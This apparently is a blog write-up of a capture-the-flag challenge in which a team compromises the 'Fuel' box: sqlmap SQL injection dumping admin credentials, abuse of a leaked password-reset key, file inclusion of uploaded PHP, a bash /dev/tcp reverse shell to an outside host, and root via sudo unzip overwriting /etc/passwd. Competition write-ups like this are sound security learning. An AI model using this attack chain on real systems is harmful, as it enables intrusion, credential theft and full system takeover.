CackalackyCon - EverSecCTF Fuel

By: ohai 4 years ago
CTF eversec

This past weekend I participated in the CTF at CacklackyCon put on by EverSecCTF. Our Team noob_noob took home first place by the skin of our teeth, gaining root on the Fuel box in the final minutes of the CTF. I didn’t have much time to collect screenshots and whatnot, so most of this is reconstructed as close as possible to the original.

We started off with an nmap scan to see what services we were dealing with:

Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-01 03:48 EDT
Nmap scan report for 192.168.0.215
Host is up (0.0029s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3306/tcp open  mysql   MySQL 5.5.62-0ubuntu0.14.04.1
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.62-0ubuntu0.14.04.1
|   Thread ID: 192
|   Capabilities flags: 63487
|   Some Capabilities: ConnectWithDatabase, SupportsTransactions, Support41Auth, Speaks41ProtocolOld, IgnoreSigpipes, FoundRows, InteractiveClient, LongPassword, Speaks41ProtocolNew, LongColumnFlag, SupportsCompression, ODBCClient, DontAllowDatabaseTableColumn, SupportsLoadDataLocal, IgnoreSpaceBeforeParenthesis, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: }*X]J9!84=rK]qC:9O_r
|_  Auth Plugin Name: 96

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.45 seconds

So we went to work on web. Viewing the index provided only the default Apache is installed page, so we ran dirb and came up with two more routes, /blog and /fuel.

img

/blog contained a search box, so just kind of offhand I threw in a ' ok and what do you know, great success!

img

Fiddling with it a bit more showed that it was doing some parsing on the input and whitespace wasn’t going to work, but sqlmap makes quick work of that with tamper!

~ $ ./sqlmap.py -u "http://172.20.3.100:8001/index.php/blog/search?q=ok" --tamper=space2comment --dbs --fresh-queries
...CHOP...
available databases [5]:
[*] fuel_widgicorp
[*] h4ck3d4gn
[*] information_schema
[*] mysql
[*] performance_schema

And we get a flag! Now let’s check out that fuel database…

~ $ ./sqlmap.py -u "http://172.20.3.100:8001/index.php/blog/search?q=ok" --tamper=space2comment -D fuel_widgicorp --tables --fresh-queries
...CHOP...
+-------------------------------+
| fuel_archives                 |
| fuel_blocks                   |
| fuel_blog_categories          |
...CHOP...
| fuel_users                    |
| projects                      |
| quotes                        |
+-------------------------------+
~ $ ./sqlmap.py -u "http://172.20.3.100:8001/index.php/blog/search?q=ok" --tamper=space2comment -D fuel_widgicorp -T fuel_users --dump --fresh-queries
...CHOP...
[1 entry]
+----+-------------------+--------+----------------------------------+-----------+-----------+-----------+------------+------------+-------------+
| id | email             | active | password                         | last_name | reset_key | user_name | language   | first_name | super_admin |
+----+-------------------+--------+----------------------------------+-----------+-----------+-----------+------------+------------+-------------+
| 1  | steve@eversec.com | yes    | c4e161184xNOT_THISx602f2bea83dfa | rocks     | <blank>   | admin     | english    | Admin      | yes         |
+----+-------------------+--------+----------------------------------+-----------+-----------+-----------+------------+------------+-------------+

First we tried cracking that password hash but it made no appearance in hashkiller or any of the other online dbs. The next thing that caught our attention was the reset key. Since we have admin’s email address and access to the reset token, we could just reset the password for him and get our delicious accesses.

img

The site reported an error (presumably it wasn’t able to actually send the email) when submitting this but we check with sqlmap anyways, because why not?

~ $ ./sqlmap.py -u "http://172.20.3.100:8001/index.php/blog/search?q=ok" --tamper=space2comment -D fuel_widgicorp -T fuel_users --dump --fresh-queries
Table: fuel_users
[1 entry]
+----+-------------------+--------+----------------------------------+-----------+-----------+-----------+------------+------------+-------------+
| id | email             | active | password                         | last_name | reset_key | user_name | language   | first_name | super_admin |
+----+-------------------+--------+----------------------------------+-----------+-----------+-----------+------------+------------+-------------+
| 1  | steve@eversec.com | yes    | c4e161184b41d1b0137602f2bea83dfa | rocks     | UnJSRAXW  | admin     | english    | Admin      | yes         |
+----+-------------------+--------+----------------------------------+-----------+-----------+-----------+------------+------------+-------------+

And there it is! Now, how the hell do we use it? We went to the source code available in the fuel github repo and time traveled back a few years. It took a bit to get it figured, but the link ended up looking like /fuel/reset/MD5(email)/MD5(reset_token).

This (also) produced errors but gave us the info we needed to get logged in!

img

Once in as Steve, we tooled around the site looking for whatever we could to try and get shell. This.Took.Five.Ever. At several points during this, I moved on to other things and came back several times. We were able to upload .pdf files chock full of nasty PHP but we had no way to get them to execute. Eventually I found the tester function!

img

Which led to another error :(

img

But it was a good error :) (at least for us) This whole time I had all requests being proxied through burp, just not being intercepted. Seeing that error message made me wonder if perhaps something we had posted had pointed it to look for that file.

img

AWWWWWWWWWW MAAAAAAAAAAN!!! that looks like a path pointing that some php… that we can control…

The first test was to just see if we could grab /etc/passwd and was quite successful (To Note: we got a pretty high point flag out of there, too). The next test was to push up a pdf via the assets upload function (mentioned earlier) and get some basic php to execute. (worth mentioning, it took a bit of time to figure out the route to the pdf assets because i failed to pay attention). I went with the ubiquitous phpinfo();.

img

And now to get some shell, we upload rev.pdf

exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.111/9002 0>&1'");
~ $ nc -lnvp 9002
Listening on [0.0.0.0] (family 0, port 9002)
Connection from 172.17.0.2 45128 received!
bash: cannot set terminal process group (1774): Inappropriate ioctl for device
bash: no job control in this shell
www-data@b943e3c0db08:/var/www/html$ python -c 'import pty;pty.spawn("/bin/bash")' ## make our shell a bit prettier
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@b943e3c0db08:/var/www/html$ sudo -l  
sudo -l
Matching Defaults entries for www-data on b943e3c0db08:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on b943e3c0db08:
    (root) NOPASSWD: /usr/bin/unzip
www-data@b943e3c0db08:/var/www/html$

So there we go, we can run unzip with sudo, without a password. The escalation was pretty straight-forward at this point. We can use unzip to overwrite /etc/passwd with a version containing our own user with uid/gid 0.

www-data@b943e3c0db08:/var/www/html$ cd /tmp
cd /tmp
www-data@b943e3c0db08:/tmp$ mkdir etc
mkdir etc
www-data@b943e3c0db08:/tmp$ cp /etc/passwd etc/
cp /etc/passwd etc/
www-data@b943e3c0db08:/tmp$ openssl passwd -1
openssl passwd -1
Password: apassword

Verifying - Password: apassword

$1$he4kP21a$98EuTEUHfcybNG0rOx.R3.
www-data@b943e3c0db08:/tmp$ echo 'blark:$1$he4kP21a$98EuTEUHfcybNG0rOx.R3.:0:0:root:/root:/bin/bash' >> etc/passwd
<8EuTEUHfcybNG0rOx.R3.:0:0:root:/root:/bin/bash' >> etc/passwd
www-data@b943e3c0db08:/tmp$ zip -r bleh.zip etc
zip -r bleh.zip etc
  adding: etc/ (stored 0%)
  adding: etc/passwd (deflated 59%)
www-data@b943e3c0db08:/tmp$ cd /
cd /
www-data@b943e3c0db08:/$ sudo unzip /tmp/bleh.zip
sudo unzip /tmp/bleh.zip
Archive:  /tmp/bleh.zip
replace etc/passwd? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: etc/passwd              
www-data@b943e3c0db08:/$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...CHOP...
mysql:x:102:106:MySQL Server,,,:/nonexistent:/bin/false
blark:$1$he4kP21a$98EuTEUHfcybNG0rOx.R3.:0:0:root:/root:/bin/bash
www-data@b943e3c0db08:/$ su - blark
su - blark
Password: apassword

root@b943e3c0db08:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@b943e3c0db08:~# cat flag.txt
cat flag.txt
C@r1ng(ab0utS3cur1ty)iSCr33py

And that is how we got root on Fuel and got to take home this bad boy right here:

img

Thanks again, EverSecCTF and CackalackyCon. Hope to see you all again next year!


Comments: 0

Unmoderated: 0 Spam: 2